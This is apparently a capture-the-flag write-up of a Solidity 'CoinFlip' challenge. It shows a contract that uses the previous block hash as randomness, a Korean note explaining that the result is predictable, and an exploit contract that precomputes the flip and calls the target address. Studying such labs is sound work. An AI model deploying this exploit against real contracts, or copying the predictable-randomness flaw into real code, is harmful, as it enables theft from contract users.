Prob
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
PoC
동전의 앞, 뒷면(true,false)를 10번 맞추면 되는 문제
factor와 block number은 미리 알 수 있기 때문에 동전 앞,뒷면을 예측할 수 있습니다.
interface ICoinFlip{
function flip(bool _guess) external returns (bool);
}
contract exploit {
function attack() public{
ICoinFlip target = ICoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
uint factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint blockValue = uint(blockhash(block.number - 1));
uint coinflip = blockValue / factor;
bool side = coinflip == 1 ? true : false;
target.flip(side);
}
}